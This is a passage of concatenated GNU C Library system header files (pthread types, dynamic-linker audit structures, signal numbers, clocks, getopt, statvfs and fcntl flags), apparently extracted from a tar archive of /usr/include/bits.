pthread_attr_t. __SIZEOF_PTHREAD_MUTEX_T - size of pthread_mutex_t. __SIZEOF_PTHREAD_MUTEXATTR_T - size of pthread_mutexattr_t. __SIZEOF_PTHREAD_COND_T - size of pthread_cond_t. __SIZEOF_PTHREAD_CONDATTR_T - size of pthread_condattr_t. __SIZEOF_PTHREAD_RWLOCK_T - size of pthread_rwlock_t. __SIZEOF_PTHREAD_RWLOCKATTR_T - size of pthread_rwlockattr_t. __SIZEOF_PTHREAD_BARRIER_T - size of pthread_barrier_t. __SIZEOF_PTHREAD_BARRIERATTR_T - size of pthread_barrierattr_t. Also, the following macros must be define for internal pthread_mutex_t struct definitions (struct __pthread_mutex_s): __PTHREAD_COMPAT_PADDING_MID - any additional members after 'kind' and before '__spin' (for 64 bits) or '__nusers' (for 32 bits). __PTHREAD_COMPAT_PADDING_END - any additional members at the end of the internal structure. __PTHREAD_MUTEX_LOCK_ELISION - 1 if the architecture supports lock elision or 0 otherwise. __PTHREAD_MUTEX_NUSERS_AFTER_KIND - control where to put __nusers. The preferred value for new architectures is 0. __PTHREAD_MUTEX_USE_UNION - control whether internal __spins and __list will be place inside a union for linuxthreads compatibility. The preferred value for new architectures is 0. For a new port the preferred values for the required defines are: #define __PTHREAD_COMPAT_PADDING_MID #define __PTHREAD_COMPAT_PADDING_END #define __PTHREAD_MUTEX_LOCK_ELISION 0 #define __PTHREAD_MUTEX_NUSERS_AFTER_KIND 0 #define __PTHREAD_MUTEX_USE_UNION 0 __PTHREAD_MUTEX_LOCK_ELISION can be set to 1 if the hardware plans to eventually support lock elision using transactional memory. The additional macro defines any constraint for the lock alignment inside the thread structures: __LOCK_ALIGNMENT - for internal lock/futex usage. Same idea but for the once locking primitive: __ONCE_ALIGNMENT - for pthread_once_t/once_flag definition. And finally the internal pthread_rwlock_t (struct __pthread_rwlock_arch_t) must be defined. */ #include <bits/pthreadtypes-arch.h> /* Common definition of pthread_mutex_t. */ #if !__PTHREAD_MUTEX_USE_UNION typedef struct __pthread_internal_list { struct __pthread_internal_list *__prev; struct __pthread_internal_list *__next; } __pthread_list_t; #else typedef struct __pthread_internal_slist { struct __pthread_internal_slist *__next; } __pthread_slist_t; #endif /* Lock elision support. */ #if __PTHREAD_MUTEX_LOCK_ELISION # if !__PTHREAD_MUTEX_USE_UNION # define __PTHREAD_SPINS_DATA \ short __spins; \ short __elision # define __PTHREAD_SPINS 0, 0 # else # define __PTHREAD_SPINS_DATA \ struct \ { \ short __espins; \ short __eelision; \ } __elision_data # define __PTHREAD_SPINS { 0, 0 } # define __spins __elision_data.__espins # define __elision __elision_data.__eelision # endif #else # define __PTHREAD_SPINS_DATA int __spins /* Mutex __spins initializer used by PTHREAD_MUTEX_INITIALIZER. */ # define __PTHREAD_SPINS 0 #endif struct __pthread_mutex_s { int __lock __LOCK_ALIGNMENT; unsigned int __count; int __owner; #if !__PTHREAD_MUTEX_NUSERS_AFTER_KIND unsigned int __nusers; #endif /* KIND must stay at this position in the structure to maintain binary compatibility with static initializers. Concurrency notes: The __kind of a mutex is initialized either by the static PTHREAD_MUTEX_INITIALIZER or by a call to pthread_mutex_init. After a mutex has been initialized, the __kind of a mutex is usually not changed. BUT it can be set to -1 in pthread_mutex_destroy or elision can be enabled. This is done concurrently in the pthread_mutex_*lock functions by using the macro FORCE_ELISION. This macro is only defined for architectures which supports lock elision. For elision, there are the flags PTHREAD_MUTEX_ELISION_NP and PTHREAD_MUTEX_NO_ELISION_NP which can be set in addition to the already set type of a mutex. Before a mutex is initialized, only PTHREAD_MUTEX_NO_ELISION_NP can be set with pthread_mutexattr_settype. After a mutex has been initialized, the functions pthread_mutex_*lock can enable elision - if the mutex-type and the machine supports it - by setting the flag PTHREAD_MUTEX_ELISION_NP. This is done concurrently. Afterwards the lock / unlock functions are using specific elision code-paths. */ int __kind; __PTHREAD_COMPAT_PADDING_MID #if __PTHREAD_MUTEX_NUSERS_AFTER_KIND unsigned int __nusers; #endif #if !__PTHREAD_MUTEX_USE_UNION __PTHREAD_SPINS_DATA; __pthread_list_t __list; # define __PTHREAD_MUTEX_HAVE_PREV 1 #else __extension__ union { __PTHREAD_SPINS_DATA; __pthread_slist_t __list; }; # define __PTHREAD_MUTEX_HAVE_PREV 0 #endif __PTHREAD_COMPAT_PADDING_END }; /* Common definition of pthread_cond_t. */ struct __pthread_cond_s { __extension__ union { __extension__ unsigned long long int __wseq; struct { unsigned int __low; unsigned int __high; } __wseq32; }; __extension__ union { __extension__ unsigned long long int __g1_start; struct { unsigned int __low; unsigned int __high; } __g1_start32; }; unsigned int __glibc_unused___g_refs[2] __LOCK_ALIGNMENT; unsigned int __g_size[2]; unsigned int __g1_orig_size; unsigned int __wrefs; unsigned int __g_signals[2]; }; #endif /* _THREAD_SHARED_TYPES_H */ bits/link.h 0000644 00000010275 15246445046 0006632 0 ustar 00 /* Copyright (C) 2004-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _LINK_H # error "Never include <bits/link.h> directly; use <link.h> instead." #endif #ifndef __x86_64__ /* Registers for entry into PLT on IA-32. */ typedef struct La_i86_regs { uint32_t lr_edx; uint32_t lr_ecx; uint32_t lr_eax; uint32_t lr_ebp; uint32_t lr_esp; } La_i86_regs; /* Return values for calls from PLT on IA-32. */ typedef struct La_i86_retval { uint32_t lrv_eax; uint32_t lrv_edx; long double lrv_st0; long double lrv_st1; uint64_t lrv_bnd0; uint64_t lrv_bnd1; } La_i86_retval; __BEGIN_DECLS extern Elf32_Addr la_i86_gnu_pltenter (Elf32_Sym *__sym, unsigned int __ndx, uintptr_t *__refcook, uintptr_t *__defcook, La_i86_regs *__regs, unsigned int *__flags, const char *__symname, long int *__framesizep); extern unsigned int la_i86_gnu_pltexit (Elf32_Sym *__sym, unsigned int __ndx, uintptr_t *__refcook, uintptr_t *__defcook, const La_i86_regs *__inregs, La_i86_retval *__outregs, const char *symname); __END_DECLS #else /* Registers for entry into PLT on x86-64. */ # if __GNUC_PREREQ (4,0) typedef float La_x86_64_xmm __attribute__ ((__vector_size__ (16))); typedef float La_x86_64_ymm __attribute__ ((__vector_size__ (32), __aligned__ (16))); typedef double La_x86_64_zmm __attribute__ ((__vector_size__ (64), __aligned__ (16))); # else typedef float La_x86_64_xmm __attribute__ ((__mode__ (__V4SF__))); # endif typedef union { # if __GNUC_PREREQ (4,0) La_x86_64_ymm ymm[2]; La_x86_64_zmm zmm[1]; # endif La_x86_64_xmm xmm[4]; } La_x86_64_vector __attribute__ ((__aligned__ (16))); typedef struct La_x86_64_regs { uint64_t lr_rdx; uint64_t lr_r8; uint64_t lr_r9; uint64_t lr_rcx; uint64_t lr_rsi; uint64_t lr_rdi; uint64_t lr_rbp; uint64_t lr_rsp; La_x86_64_xmm lr_xmm[8]; La_x86_64_vector lr_vector[8]; #ifndef __ILP32__ __int128_t lr_bnd[4]; #endif } La_x86_64_regs; /* Return values for calls from PLT on x86-64. */ typedef struct La_x86_64_retval { uint64_t lrv_rax; uint64_t lrv_rdx; La_x86_64_xmm lrv_xmm0; La_x86_64_xmm lrv_xmm1; long double lrv_st0; long double lrv_st1; La_x86_64_vector lrv_vector0; La_x86_64_vector lrv_vector1; #ifndef __ILP32__ __int128_t lrv_bnd0; __int128_t lrv_bnd1; #endif } La_x86_64_retval; #define La_x32_regs La_x86_64_regs #define La_x32_retval La_x86_64_retval __BEGIN_DECLS extern Elf64_Addr la_x86_64_gnu_pltenter (Elf64_Sym *__sym, unsigned int __ndx, uintptr_t *__refcook, uintptr_t *__defcook, La_x86_64_regs *__regs, unsigned int *__flags, const char *__symname, long int *__framesizep); extern unsigned int la_x86_64_gnu_pltexit (Elf64_Sym *__sym, unsigned int __ndx, uintptr_t *__refcook, uintptr_t *__defcook, const La_x86_64_regs *__inregs, La_x86_64_retval *__outregs, const char *__symname); extern Elf32_Addr la_x32_gnu_pltenter (Elf32_Sym *__sym, unsigned int __ndx, uintptr_t *__refcook, uintptr_t *__defcook, La_x32_regs *__regs, unsigned int *__flags, const char *__symname, long int *__framesizep); extern unsigned int la_x32_gnu_pltexit (Elf32_Sym *__sym, unsigned int __ndx, uintptr_t *__refcook, uintptr_t *__defcook, const La_x32_regs *__inregs, La_x32_retval *__outregs, const char *__symname); __END_DECLS #endif bits/fp-logb.h 0000644 00000001763 15246445046 0007225 0 ustar 00 /* Define __FP_LOGB0_IS_MIN and __FP_LOGBNAN_IS_MIN. x86 version. Copyright (C) 2016-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _MATH_H # error "Never use <bits/fp-logb.h> directly; include <math.h> instead." #endif #define __FP_LOGB0_IS_MIN 1 #define __FP_LOGBNAN_IS_MIN 1 bits/signum-generic.h 0000644 00000010364 15246445046 0010610 0 ustar 00 /* Signal number constants. Generic template. Copyright (C) 1991-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _BITS_SIGNUM_GENERIC_H #define _BITS_SIGNUM_GENERIC_H 1 #ifndef _SIGNAL_H #error "Never include <bits/signum-generic.h> directly; use <signal.h> instead." #endif /* Fake signal functions. */ #define SIG_ERR ((__sighandler_t) -1) /* Error return. */ #define SIG_DFL ((__sighandler_t) 0) /* Default action. */ #define SIG_IGN ((__sighandler_t) 1) /* Ignore signal. */ #ifdef __USE_XOPEN # define SIG_HOLD ((__sighandler_t) 2) /* Add signal to hold mask. */ #endif /* We define here all the signal names listed in POSIX (1003.1-2008); as of 1003.1-2013, no additional signals have been added by POSIX. We also define here signal names that historically exist in every real-world POSIX variant (e.g. SIGWINCH). Signals in the 1-15 range are defined with their historical numbers. For other signals, we use the BSD numbers. There are two unallocated signal numbers in the 1-31 range: 7 and 29. Signal number 0 is reserved for use as kill(pid, 0), to test whether a process exists without sending it a signal. */ /* ISO C99 signals. */ #define SIGINT 2 /* Interactive attention signal. */ #define SIGILL 4 /* Illegal instruction. */ #define SIGABRT 6 /* Abnormal termination. */ #define SIGFPE 8 /* Erroneous arithmetic operation. */ #define SIGSEGV 11 /* Invalid access to storage. */ #define SIGTERM 15 /* Termination request. */ /* Historical signals specified by POSIX. */ #define SIGHUP 1 /* Hangup. */ #define SIGQUIT 3 /* Quit. */ #define SIGTRAP 5 /* Trace/breakpoint trap. */ #define SIGKILL 9 /* Killed. */ #define SIGBUS 10 /* Bus error. */ #define SIGSYS 12 /* Bad system call. */ #define SIGPIPE 13 /* Broken pipe. */ #define SIGALRM 14 /* Alarm clock. */ /* New(er) POSIX signals (1003.1-2008, 1003.1-2013). */ #define SIGURG 16 /* Urgent data is available at a socket. */ #define SIGSTOP 17 /* Stop, unblockable. */ #define SIGTSTP 18 /* Keyboard stop. */ #define SIGCONT 19 /* Continue. */ #define SIGCHLD 20 /* Child terminated or stopped. */ #define SIGTTIN 21 /* Background read from control terminal. */ #define SIGTTOU 22 /* Background write to control terminal. */ #define SIGPOLL 23 /* Pollable event occurred (System V). */ #define SIGXCPU 24 /* CPU time limit exceeded. */ #define SIGXFSZ 25 /* File size limit exceeded. */ #define SIGVTALRM 26 /* Virtual timer expired. */ #define SIGPROF 27 /* Profiling timer expired. */ #define SIGUSR1 30 /* User-defined signal 1. */ #define SIGUSR2 31 /* User-defined signal 2. */ /* Nonstandard signals found in all modern POSIX systems (including both BSD and Linux). */ #define SIGWINCH 28 /* Window size change (4.3 BSD, Sun). */ /* Archaic names for compatibility. */ #define SIGIO SIGPOLL /* I/O now possible (4.2 BSD). */ #define SIGIOT SIGABRT /* IOT instruction, abort() on a PDP-11. */ #define SIGCLD SIGCHLD /* Old System V name */ /* Not all systems support real-time signals. bits/signum.h indicates that they are supported by overriding __SIGRTMAX to a value greater than __SIGRTMIN. These constants give the kernel-level hard limits, but some real-time signals may be used internally by glibc. Do not use these constants in application code; use SIGRTMIN and SIGRTMAX (defined in signal.h) instead. */ #define __SIGRTMIN 32 #define __SIGRTMAX __SIGRTMIN /* Biggest signal number + 1 (including real-time signals). */ #define _NSIG (__SIGRTMAX + 1) #endif /* bits/signum-generic.h. */ bits/time.h 0000644 00000005666 15246445046 0006643 0 ustar 00 /* System-dependent timing definitions. Linux version. Copyright (C) 1996-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* * Never include this file directly; use <time.h> instead. */ #ifndef _BITS_TIME_H #define _BITS_TIME_H 1 #include <bits/types.h> /* ISO/IEC 9899:1999 7.23.1: Components of time The macro `CLOCKS_PER_SEC' is an expression with type `clock_t' that is the number per second of the value returned by the `clock' function. */ /* CAE XSH, Issue 4, Version 2: <time.h> The value of CLOCKS_PER_SEC is required to be 1 million on all XSI-conformant systems. */ #define CLOCKS_PER_SEC ((__clock_t) 1000000) #if (!defined __STRICT_ANSI__ || defined __USE_POSIX) \ && !defined __USE_XOPEN2K /* Even though CLOCKS_PER_SEC has such a strange value CLK_TCK presents the real value for clock ticks per second for the system. */ extern long int __sysconf (int); # define CLK_TCK ((__clock_t) __sysconf (2)) /* 2 is _SC_CLK_TCK */ #endif #ifdef __USE_POSIX199309 /* Identifier for system-wide realtime clock. */ # define CLOCK_REALTIME 0 /* Monotonic system-wide clock. */ # define CLOCK_MONOTONIC 1 /* High-resolution timer from the CPU. */ # define CLOCK_PROCESS_CPUTIME_ID 2 /* Thread-specific CPU-time clock. */ # define CLOCK_THREAD_CPUTIME_ID 3 /* Monotonic system-wide clock, not adjusted for frequency scaling. */ # define CLOCK_MONOTONIC_RAW 4 /* Identifier for system-wide realtime clock, updated only on ticks. */ # define CLOCK_REALTIME_COARSE 5 /* Monotonic system-wide clock, updated only on ticks. */ # define CLOCK_MONOTONIC_COARSE 6 /* Monotonic system-wide clock that includes time spent in suspension. */ # define CLOCK_BOOTTIME 7 /* Like CLOCK_REALTIME but also wakes suspended system. */ # define CLOCK_REALTIME_ALARM 8 /* Like CLOCK_BOOTTIME but also wakes suspended system. */ # define CLOCK_BOOTTIME_ALARM 9 /* Like CLOCK_REALTIME but in International Atomic Time. */ # define CLOCK_TAI 11 /* Flag to indicate time is absolute. */ # define TIMER_ABSTIME 1 #endif #ifdef __USE_GNU # include <bits/timex.h> __BEGIN_DECLS /* Tune a POSIX clock. */ extern int clock_adjtime (__clockid_t __clock_id, struct timex *__utx) __THROW; __END_DECLS #endif /* use GNU */ #endif /* bits/time.h */ bits/environments.h 0000644 00000007316 15246445046 0010426 0 ustar 00 /* Copyright (C) 1999-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _UNISTD_H # error "Never include this file directly. Use <unistd.h> instead" #endif #include <bits/wordsize.h> /* This header should define the following symbols under the described situations. A value `1' means that the model is always supported, `-1' means it is never supported. Undefined means it cannot be statically decided. _POSIX_V7_ILP32_OFF32 32bit int, long, pointers, and off_t type _POSIX_V7_ILP32_OFFBIG 32bit int, long, and pointers and larger off_t type _POSIX_V7_LP64_OFF32 64bit long and pointers and 32bit off_t type _POSIX_V7_LPBIG_OFFBIG 64bit long and pointers and large off_t type The macros _POSIX_V6_ILP32_OFF32, _POSIX_V6_ILP32_OFFBIG, _POSIX_V6_LP64_OFF32, _POSIX_V6_LPBIG_OFFBIG, _XBS5_ILP32_OFF32, _XBS5_ILP32_OFFBIG, _XBS5_LP64_OFF32, and _XBS5_LPBIG_OFFBIG were used in previous versions of the Unix standard and are available only for compatibility. */ #if __WORDSIZE == 64 /* Environments with 32-bit wide pointers are optionally provided. Therefore following macros aren't defined: # undef _POSIX_V7_ILP32_OFF32 # undef _POSIX_V7_ILP32_OFFBIG # undef _POSIX_V6_ILP32_OFF32 # undef _POSIX_V6_ILP32_OFFBIG # undef _XBS5_ILP32_OFF32 # undef _XBS5_ILP32_OFFBIG and users need to check at runtime. */ /* We also have no use (for now) for an environment with bigger pointers and offsets. */ # define _POSIX_V7_LPBIG_OFFBIG -1 # define _POSIX_V6_LPBIG_OFFBIG -1 # define _XBS5_LPBIG_OFFBIG -1 /* By default we have 64-bit wide `long int', pointers and `off_t'. */ # define _POSIX_V7_LP64_OFF64 1 # define _POSIX_V6_LP64_OFF64 1 # define _XBS5_LP64_OFF64 1 #else /* __WORDSIZE == 32 */ /* We have 32-bit wide `int', `long int' and pointers and all platforms support LFS. -mx32 has 64-bit wide `off_t'. */ # define _POSIX_V7_ILP32_OFFBIG 1 # define _POSIX_V6_ILP32_OFFBIG 1 # define _XBS5_ILP32_OFFBIG 1 # ifndef __x86_64__ /* -m32 has 32-bit wide `off_t'. */ # define _POSIX_V7_ILP32_OFF32 1 # define _POSIX_V6_ILP32_OFF32 1 # define _XBS5_ILP32_OFF32 1 # endif /* We optionally provide an environment with the above size but an 64-bit side `off_t'. Therefore we don't define _POSIX_V7_ILP32_OFFBIG. */ /* Environments with 64-bit wide pointers can be provided, so these macros aren't defined: # undef _POSIX_V7_LP64_OFF64 # undef _POSIX_V7_LPBIG_OFFBIG # undef _POSIX_V6_LP64_OFF64 # undef _POSIX_V6_LPBIG_OFFBIG # undef _XBS5_LP64_OFF64 # undef _XBS5_LPBIG_OFFBIG and sysconf tests for it at runtime. */ #endif /* __WORDSIZE == 32 */ #define __ILP32_OFF32_CFLAGS "-m32" #define __ILP32_OFF32_LDFLAGS "-m32" #if defined __x86_64__ && defined __ILP32__ # define __ILP32_OFFBIG_CFLAGS "-mx32" # define __ILP32_OFFBIG_LDFLAGS "-mx32" #else # define __ILP32_OFFBIG_CFLAGS "-m32 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64" # define __ILP32_OFFBIG_LDFLAGS "-m32" #endif #define __LP64_OFF64_CFLAGS "-m64" #define __LP64_OFF64_LDFLAGS "-m64" bits/getopt_ext.h 0000644 00000005735 15246445046 0010064 0 ustar 00 /* Declarations for getopt (GNU extensions). Copyright (C) 1989-2018 Free Software Foundation, Inc. This file is part of the GNU C Library and is also part of gnulib. Patches to this file should be submitted to both projects. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _GETOPT_EXT_H #define _GETOPT_EXT_H 1 /* This header should not be used directly; include getopt.h instead. Unlike most bits headers, it does not have a protective #error, because the guard macro for getopt.h in gnulib is not fixed. */ __BEGIN_DECLS /* Describe the long-named options requested by the application. The LONG_OPTIONS argument to getopt_long or getopt_long_only is a vector of 'struct option' terminated by an element containing a name which is zero. The field 'has_arg' is: no_argument (or 0) if the option does not take an argument, required_argument (or 1) if the option requires an argument, optional_argument (or 2) if the option takes an optional argument. If the field 'flag' is not NULL, it points to a variable that is set to the value given in the field 'val' when the option is found, but left unchanged if the option is not found. To have a long-named option do something other than set an 'int' to a compiled-in constant, such as set a value from 'optarg', set the option's 'flag' field to zero and its 'val' field to a nonzero value (the equivalent single-letter option character, if there is one). For long options that have a zero 'flag' field, 'getopt' returns the contents of the 'val' field. */ struct option { const char *name; /* has_arg can't be an enum because some compilers complain about type mismatches in all the code that assumes it is an int. */ int has_arg; int *flag; int val; }; /* Names for the values of the 'has_arg' field of 'struct option'. */ #define no_argument 0 #define required_argument 1 #define optional_argument 2 extern int getopt_long (int ___argc, char *__getopt_argv_const *___argv, const char *__shortopts, const struct option *__longopts, int *__longind) __THROW __nonnull ((2, 3)); extern int getopt_long_only (int ___argc, char *__getopt_argv_const *___argv, const char *__shortopts, const struct option *__longopts, int *__longind) __THROW __nonnull ((2, 3)); __END_DECLS #endif /* getopt_ext.h */ bits/statvfs.h 0000644 00000006536 15246445046 0007374 0 ustar 00 /* Copyright (C) 1997-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_STATVFS_H # error "Never include <bits/statvfs.h> directly; use <sys/statvfs.h> instead." #endif #include <bits/types.h> /* For __fsblkcnt_t and __fsfilcnt_t. */ #if (__WORDSIZE == 32 \ && (!defined __SYSCALL_WORDSIZE || __SYSCALL_WORDSIZE == 32)) #define _STATVFSBUF_F_UNUSED #endif struct statvfs { unsigned long int f_bsize; unsigned long int f_frsize; #ifndef __USE_FILE_OFFSET64 __fsblkcnt_t f_blocks; __fsblkcnt_t f_bfree; __fsblkcnt_t f_bavail; __fsfilcnt_t f_files; __fsfilcnt_t f_ffree; __fsfilcnt_t f_favail; #else __fsblkcnt64_t f_blocks; __fsblkcnt64_t f_bfree; __fsblkcnt64_t f_bavail; __fsfilcnt64_t f_files; __fsfilcnt64_t f_ffree; __fsfilcnt64_t f_favail; #endif unsigned long int f_fsid; #ifdef _STATVFSBUF_F_UNUSED int __f_unused; #endif unsigned long int f_flag; unsigned long int f_namemax; int __f_spare[6]; }; #ifdef __USE_LARGEFILE64 struct statvfs64 { unsigned long int f_bsize; unsigned long int f_frsize; __fsblkcnt64_t f_blocks; __fsblkcnt64_t f_bfree; __fsblkcnt64_t f_bavail; __fsfilcnt64_t f_files; __fsfilcnt64_t f_ffree; __fsfilcnt64_t f_favail; unsigned long int f_fsid; #ifdef _STATVFSBUF_F_UNUSED int __f_unused; #endif unsigned long int f_flag; unsigned long int f_namemax; int __f_spare[6]; }; #endif /* Definitions for the flag in `f_flag'. These definitions should be kept in sync with the definitions in <sys/mount.h>. */ enum { ST_RDONLY = 1, /* Mount read-only. */ #define ST_RDONLY ST_RDONLY ST_NOSUID = 2 /* Ignore suid and sgid bits. */ #define ST_NOSUID ST_NOSUID #ifdef __USE_GNU , ST_NODEV = 4, /* Disallow access to device special files. */ # define ST_NODEV ST_NODEV ST_NOEXEC = 8, /* Disallow program execution. */ # define ST_NOEXEC ST_NOEXEC ST_SYNCHRONOUS = 16, /* Writes are synced at once. */ # define ST_SYNCHRONOUS ST_SYNCHRONOUS ST_MANDLOCK = 64, /* Allow mandatory locks on an FS. */ # define ST_MANDLOCK ST_MANDLOCK ST_WRITE = 128, /* Write on file/directory/symlink. */ # define ST_WRITE ST_WRITE ST_APPEND = 256, /* Append-only file. */ # define ST_APPEND ST_APPEND ST_IMMUTABLE = 512, /* Immutable file. */ # define ST_IMMUTABLE ST_IMMUTABLE ST_NOATIME = 1024, /* Do not update access times. */ # define ST_NOATIME ST_NOATIME ST_NODIRATIME = 2048, /* Do not update directory access times. */ # define ST_NODIRATIME ST_NODIRATIME ST_RELATIME = 4096 /* Update atime relative to mtime/ctime. */ # define ST_RELATIME ST_RELATIME #endif /* Use GNU. */ }; bits/fcntl-linux.h 0000644 00000032620 15246445046 0010136 0 ustar 00 /* O_*, F_*, FD_* bit values for Linux. Copyright (C) 2001-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _FCNTL_H # error "Never use <bits/fcntl-linux.h> directly; include <fcntl.h> instead." #endif /* This file contains shared definitions between Linux architectures and is included by <bits/fcntl.h> to declare them. The various #ifndef cases allow the architecture specific file to define those values with different values. A minimal <bits/fcntl.h> contains just: struct flock {...} #ifdef __USE_LARGEFILE64 struct flock64 {...} #endif #include <bits/fcntl-linux.h> */ #ifdef __USE_GNU # include <bits/types/struct_iovec.h> #endif /* open/fcntl. */ #define O_ACCMODE 0003 #define O_RDONLY 00 #define O_WRONLY 01 #define O_RDWR 02 #ifndef O_CREAT # define O_CREAT 0100 /* Not fcntl. */ #endif #ifndef O_EXCL # define O_EXCL 0200 /* Not fcntl. */ #endif #ifndef O_NOCTTY # define O_NOCTTY 0400 /* Not fcntl. */ #endif #ifndef O_TRUNC # define O_TRUNC 01000 /* Not fcntl. */ #endif #ifndef O_APPEND # define O_APPEND 02000 #endif #ifndef O_NONBLOCK # define O_NONBLOCK 04000 #endif #ifndef O_NDELAY # define O_NDELAY O_NONBLOCK #endif #ifndef O_SYNC # define O_SYNC 04010000 #endif #define O_FSYNC O_SYNC #ifndef O_ASYNC # define O_ASYNC 020000 #endif #ifndef __O_LARGEFILE # define __O_LARGEFILE 0100000 #endif #ifndef __O_DIRECTORY # define __O_DIRECTORY 0200000 #endif #ifndef __O_NOFOLLOW # define __O_NOFOLLOW 0400000 #endif #ifndef __O_CLOEXEC # define __O_CLOEXEC 02000000 #endif #ifndef __O_DIRECT # define __O_DIRECT 040000 #endif #ifndef __O_NOATIME # define __O_NOATIME 01000000 #endif #ifndef __O_PATH # define __O_PATH 010000000 #endif #ifndef __O_DSYNC # define __O_DSYNC 010000 #endif #ifndef __O_TMPFILE # define __O_TMPFILE (020000000 | __O_DIRECTORY) #endif #ifndef F_GETLK # ifndef __USE_FILE_OFFSET64 # define F_GETLK 5 /* Get record locking info. */ # define F_SETLK 6 /* Set record locking info (non-blocking). */ # define F_SETLKW 7 /* Set record locking info (blocking). */ # else # define F_GETLK F_GETLK64 /* Get record locking info. */ # define F_SETLK F_SETLK64 /* Set record locking info (non-blocking).*/ # define F_SETLKW F_SETLKW64 /* Set record locking info (blocking). */ # endif #endif #ifndef F_GETLK64 # define F_GETLK64 12 /* Get record locking info. */ # define F_SETLK64 13 /* Set record locking info (non-blocking). */ # define F_SETLKW64 14 /* Set record locking info (blocking). */ #endif /* open file description locks. Usually record locks held by a process are released on *any* close and are not inherited across a fork. These cmd values will set locks that conflict with process-associated record locks, but are "owned" by the opened file description, not the process. This means that they are inherited across fork or clone with CLONE_FILES like BSD (flock) locks, and they are only released automatically when the last reference to the the file description against which they were acquired is put. */ #ifdef __USE_GNU # define F_OFD_GETLK 36 # define F_OFD_SETLK 37 # define F_OFD_SETLKW 38 #endif #ifdef __USE_LARGEFILE64 # define O_LARGEFILE __O_LARGEFILE #endif #ifdef __USE_XOPEN2K8 # define O_DIRECTORY __O_DIRECTORY /* Must be a directory. */ # define O_NOFOLLOW __O_NOFOLLOW /* Do not follow links. */ # define O_CLOEXEC __O_CLOEXEC /* Set close_on_exec. */ #endif #ifdef __USE_GNU # define O_DIRECT __O_DIRECT /* Direct disk access. */ # define O_NOATIME __O_NOATIME /* Do not set atime. */ # define O_PATH __O_PATH /* Resolve pathname but do not open file. */ # define O_TMPFILE __O_TMPFILE /* Atomically create nameless file. */ #endif /* For now, Linux has no separate synchronicity options for read operations. We define O_RSYNC therefore as the same as O_SYNC since this is a superset. */ #if defined __USE_POSIX199309 || defined __USE_UNIX98 # define O_DSYNC __O_DSYNC /* Synchronize data. */ # if defined __O_RSYNC # define O_RSYNC __O_RSYNC /* Synchronize read operations. */ # else # define O_RSYNC O_SYNC /* Synchronize read operations. */ # endif #endif /* Values for the second argument to `fcntl'. */ #define F_DUPFD 0 /* Duplicate file descriptor. */ #define F_GETFD 1 /* Get file descriptor flags. */ 